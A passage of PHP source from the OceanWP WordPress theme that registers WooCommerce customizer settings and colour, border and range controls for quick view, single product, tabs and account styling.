'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_product_entry_addtocart_border_radius', array( 'label' => esc_html__( 'Add To Cart Border: Radius', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_border_radius', 'priority' => 10, ) ) ); /** * Heading Quick View */ $wp_customize->add_setting( 'ocean_woo_quick_view_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_quick_view_heading', array( 'label' => esc_html__( 'Quick View', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Quick View Button Background Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_button_bg', array( 'default' => 'rgba(0,0,0,0.6)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_button_bg', array( 'label' => esc_html__( 'Button: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_button_bg', 'priority' => 10, ) ) ); /** * Quick View Button Hover Background Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_button_hover_bg', array( 'default' => 'rgba(0,0,0,0.9)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_button_hover_bg', array( 'label' => esc_html__( 'Button: Hover Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_button_hover_bg', 'priority' => 10, ) ) ); /** * Quick View Button Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_button_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_button_color', array( 'label' => esc_html__( 'Button: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_button_color', 'priority' => 10, ) ) ); /** * Quick View Button Hover Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_button_hover_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_button_hover_color', array( 'label' => esc_html__( 'Button: Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_button_hover_color', 'priority' => 10, ) ) ); /** * Quick View Overlay Background Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_overlay_bg', array( 'default' => 'rgba(0,0,0,0.15)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_overlay_bg', array( 'label' => esc_html__( 'Overlay: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_overlay_bg', 'priority' => 10, ) ) ); /** * Quick View Overlay Spinner Outside Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_overlay_spinner_outside_color', array( 'default' => 'rgba(0,0,0,0.1)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_overlay_spinner_outside_color', array( 'label' => esc_html__( 'Overlay Spinner: Outside Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_overlay_spinner_outside_color', 'priority' => 10, ) ) ); /** * Quick View Overlay Spinner Inner Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_overlay_spinner_inner_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_overlay_spinner_inner_color', array( 'label' => esc_html__( 'Overlay Spinner: Inner Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_overlay_spinner_inner_color', 'priority' => 10, ) ) ); /** * Quick View Modal Background Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_modal_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_modal_bg', array( 'label' => esc_html__( 'Modal: Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_modal_bg', 'priority' => 10, ) ) ); /** * Quick View Modal Close Button Color */ $wp_customize->add_setting( 'ocean_woo_quick_view_modal_close_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_quick_view_modal_close_color', array( 'label' => esc_html__( 'Modal Close Button: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_quick_view_modal_close_color', 'priority' => 10, ) ) ); /** * Heading Off Canvas Sidebar */ $wp_customize->add_setting( 'ocean_woo_off_canvas_sidebar_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_off_canvas_sidebar_heading', array( 'label' => esc_html__( 'Off Canvas Sidebar', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Off Canvas Sidebar Background Color */ $wp_customize->add_setting( 'ocean_woo_off_canvas_sidebar_bg', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_off_canvas_sidebar_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_off_canvas_sidebar_bg', 'priority' => 10, ) ) ); /** * Off Canvas Sidebar Widgets Border Color */ $wp_customize->add_setting( 'ocean_woo_off_canvas_sidebar_widgets_border', array( 'default' => 'rgba(84,84,84,0.15)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_off_canvas_sidebar_widgets_border', array( 'label' => esc_html__( 'Widgets Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_woo_off_canvas_sidebar_widgets_border', 'priority' => 10, ) ) ); /** * Heading Single Product */ $wp_customize->add_setting( 'ocean_single_product_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_single_product_heading', array( 'label' => esc_html__( 'Single Product', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Single Product Title Color */ $wp_customize->add_setting( 'ocean_single_product_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_title_color', 'priority' => 10, ) ) ); /** * Single Product Price Color */ $wp_customize->add_setting( 'ocean_single_product_price_color', array( 'default' => '#57bf6d', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_price_color', 'priority' => 10, ) ) ); /** * Single Product Del Price Color */ $wp_customize->add_setting( 'ocean_single_product_del_price_color', array( 'default' => '#555555', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_del_price_color', array( 'label' => esc_html__( 'Del Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_del_price_color', 'priority' => 10, ) ) ); /** * Single Product Description Color */ $wp_customize->add_setting( 'ocean_single_product_description_color', array( 'default' => '#aaaaaa', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_description_color', array( 'label' => esc_html__( 'Description Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_description_color', 'priority' => 10, ) ) ); /** * Quantity Border Color */ $wp_customize->add_setting( 'ocean_quantity_border_color', array( 'default' => '#e4e4e4', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_border_color', array( 'label' => esc_html__( 'Quantity Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_border_color', 'priority' => 10, ) ) ); /** * Quantity Border Color Focus */ $wp_customize->add_setting( 'ocean_quantity_border_color_focus', array( 'default' => '#bbbbbb', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_border_color_focus', array( 'label' => esc_html__( 'Quantity Border Color Focus', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_border_color_focus', 'priority' => 10, ) ) ); /** * Quantity Color */ $wp_customize->add_setting( 'ocean_quantity_color', array( 'default' => '#777777', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_color', array( 'label' => esc_html__( 'Quantity Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_color', 'priority' => 10, ) ) ); /** * Quantity Plus/Minus Color */ $wp_customize->add_setting( 'ocean_quantity_plus_minus_color', array( 'default' => '#cccccc', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_plus_minus_color', array( 'label' => esc_html__( 'Quantity Plus/Minus Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_plus_minus_color', 'priority' => 10, ) ) ); /** * Quantity Plus/Minus Color Hover */ $wp_customize->add_setting( 'ocean_quantity_plus_minus_color_hover', array( 'default' => '#cccccc', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_plus_minus_color_hover', array( 'label' => esc_html__( 'Quantity Plus/Minus Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_plus_minus_color_hover', 'priority' => 10, ) ) ); /** * Quantity Plus/Minus Border Color Hover */ $wp_customize->add_setting( 'ocean_quantity_plus_minus_border_color_hover', array( 'default' => '#e0e0e0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_quantity_plus_minus_border_color_hover', array( 'label' => esc_html__( 'Quantity Plus/Minus Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_quantity_plus_minus_border_color_hover', 'priority' => 10, ) ) ); /** * Single Product Meta Title Color */ $wp_customize->add_setting( 'ocean_single_product_meta_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_meta_title_color', array( 'label' => esc_html__( 'Meta Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_meta_title_color', 'priority' => 10, ) ) ); /** * Single Product Meta Link Color */ $wp_customize->add_setting( 'ocean_single_product_meta_link_color', array( 'default' => '#aaaaaa', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_meta_link_color', array( 'label' => esc_html__( 'Meta Link Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_meta_link_color', 'priority' => 10, ) ) ); /** * Single Product Meta Link Color Hover */ $wp_customize->add_setting( 'ocean_single_product_meta_link_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_meta_link_color_hover', array( 'label' => esc_html__( 'Meta Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_meta_link_color_hover', 'priority' => 10, ) ) ); /** * Single Product Conditional Notice Color */ $wp_customize->add_setting( 'ocean_single_cond_note_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_cond_note_color', array( 'label' => esc_html__( 'Conditional Notice: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_cond_note_color', 'priority' => 10, ) ) ); /** * Single Product Conditional Notice Hover Color */ $wp_customize->add_setting( 'ocean_single_cond_note_color_hover', array( 'default' => '#52a7fe', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_cond_note_color_hover', array( 'label' => esc_html__( 'Conditional Notice: Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_cond_note_color_hover', 'priority' => 10, ) ) ); /** * Heading Single Product Navigation */ $wp_customize->add_setting( 'ocean_single_product_navigation_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_single_product_navigation_heading', array( 'label' => esc_html__( 'Single Product: Product Navigation', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Single Product Navigation Border Radius */ $wp_customize->add_setting( 'ocean_single_product_navigation_border_radius', array( 'transport' => 'postMessage', 'default' => '30', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_single_product_navigation_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_border_radius', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 30, 'step' => 1, ), ) ) ); /** * Single Product Navigation Background Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_bg', 'priority' => 10, ) ) ); /** * Single Product Navigation Hover Background Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_hover_bg', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_hover_bg', array( 'label' => esc_html__( 'Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_hover_bg', 'priority' => 10, ) ) ); /** * Single Product Navigation Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_color', array( 'label' => esc_html__( 'Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_color', 'priority' => 10, ) ) ); /** * Single Product Navigation Hover Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_hover_color', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_hover_color', array( 'label' => esc_html__( 'Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_hover_color', 'priority' => 10, ) ) ); /** * Single Product Navigation Border Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_border_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_border_color', 'priority' => 10, ) ) ); /** * Single Product Navigation Hover Border Color */ $wp_customize->add_setting( 'ocean_single_product_navigation_hover_border_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_navigation_hover_border_color', array( 'label' => esc_html__( 'Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_navigation_hover_border_color', 'priority' => 10, ) ) ); /** * Heading Product Entry Add To Cart */ $wp_customize->add_setting( 'ocean_single_product_addtocart_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_single_product_addtocart_heading', array( 'label' => esc_html__( 'Single Product: Add To Cart', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color */ $wp_customize->add_setting( 'ocean_single_product_addtocart_bg_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_bg_color', array( 'label' => esc_html__( 'Add To Cart Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_bg_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color Hover */ $wp_customize->add_setting( 'ocean_single_product_addtocart_bg_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_bg_color_hover', array( 'label' => esc_html__( 'Add To Cart Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_bg_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color */ $wp_customize->add_setting( 'ocean_single_product_addtocart_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_color', array( 'label' => esc_html__( 'Add To Cart Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color Hover */ $wp_customize->add_setting( 'ocean_single_product_addtocart_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_color_hover', array( 'label' => esc_html__( 'Add To Cart Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color */ $wp_customize->add_setting( 'ocean_single_product_addtocart_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_border_color', array( 'label' => esc_html__( 'Add To Cart Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_border_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color Hover */ $wp_customize->add_setting( 'ocean_single_product_addtocart_border_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_addtocart_border_color_hover', array( 'label' => esc_html__( 'Add To Cart Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_border_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Style */ $wp_customize->add_setting( 'ocean_single_product_addtocart_border_style', array( 'default' => 'none', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_product_addtocart_border_style', array( 'label' => esc_html__( 'Add To Cart Border: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_border_style', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'solid' => esc_html__( 'Solid', 'oceanwp' ), 'double' => esc_html__( 'Double', 'oceanwp' ), 'dashed' => esc_html__( 'Dashed', 'oceanwp' ), 'dotted' => esc_html__( 'Dotted', 'oceanwp' ), ), ) ) ); /** * Product Entry Add To Cart Border Size */ $wp_customize->add_setting( 'ocean_single_product_addtocart_border_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_product_addtocart_border_size', array( 'label' => esc_html__( 'Add To Cart Border: Size', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border size. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_border_size', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Radius */ $wp_customize->add_setting( 'ocean_single_product_addtocart_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_single_product_addtocart_border_radius', array( 'label' => esc_html__( 'Add To Cart Border: Radius', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border radius. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_addtocart_border_radius', 'priority' => 10, ) ) ); /** * Heading Product Tabs */ $wp_customize->add_setting( 'ocean_single_product_tabs_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_single_product_tabs_heading', array( 'label' => esc_html__( 'Single Product: Tabs', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Single Product Tabs Borders Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_borders_color', array( 'label' => esc_html__( 'Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_borders_color', 'priority' => 10, ) ) ); /** * Single Product Tabs Text Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_text_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_text_color', array( 'label' => esc_html__( 'Text Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_text_color', 'priority' => 10, ) ) ); /** * Single Product Tabs Text Color Hover */ $wp_customize->add_setting( 'ocean_single_product_tabs_text_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_text_color_hover', array( 'label' => esc_html__( 'Text Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_text_color_hover', 'priority' => 10, ) ) ); /** * Single Product Tabs Active Text Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_active_text_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_active_text_color', array( 'label' => esc_html__( 'Active Text Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_active_text_color', 'priority' => 10, ) ) ); /** * Single Product Tabs Active Text Borders Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_active_text_borders_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_active_text_borders_color', array( 'label' => esc_html__( 'Active Text Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_active_text_borders_color', 'priority' => 10, ) ) ); /** * Single Product Tabs Product Description Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_product_description_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_product_description_title_color', array( 'label' => esc_html__( 'Product Description: Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_product_description_title_color', 'priority' => 10, ) ) ); /** * Single Product Tabs Product Description Color */ $wp_customize->add_setting( 'ocean_single_product_tabs_product_description_color', array( 'default' => '#929292', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_single_product_tabs_product_description_color', array( 'label' => esc_html__( 'Product Description: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_single_product_tabs_product_description_color', 'priority' => 10, ) ) ); /** * Heading Account */ $wp_customize->add_setting( 'ocean_account_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_account_heading', array( 'label' => esc_html__( 'Account', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Account Login/Register Links Color */ $wp_customize->add_setting( 'ocean_account_login_register_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_login_register_color', array( 'label' => esc_html__( 'Login/Register Links: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_login_register_color', 'priority' => 10, ) ) ); /** * Navigation Borders Color */ $wp_customize->add_setting( 'ocean_account_navigation_borders_color', array( 'default' => '#e9e9e9', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_navigation_borders_color', array( 'label' => esc_html__( 'Navigation: Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_account_navigation_borders_color', 'priority' => 10, ) ) ); /** * Navigation Icons Color */ $wp_customize->add_setting( 'ocean_account_navigation_icons_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_account_navigation_icons_color', array( 'label' => esc_html__( 'Navigation: Icons Color', 'oceanwp' ), 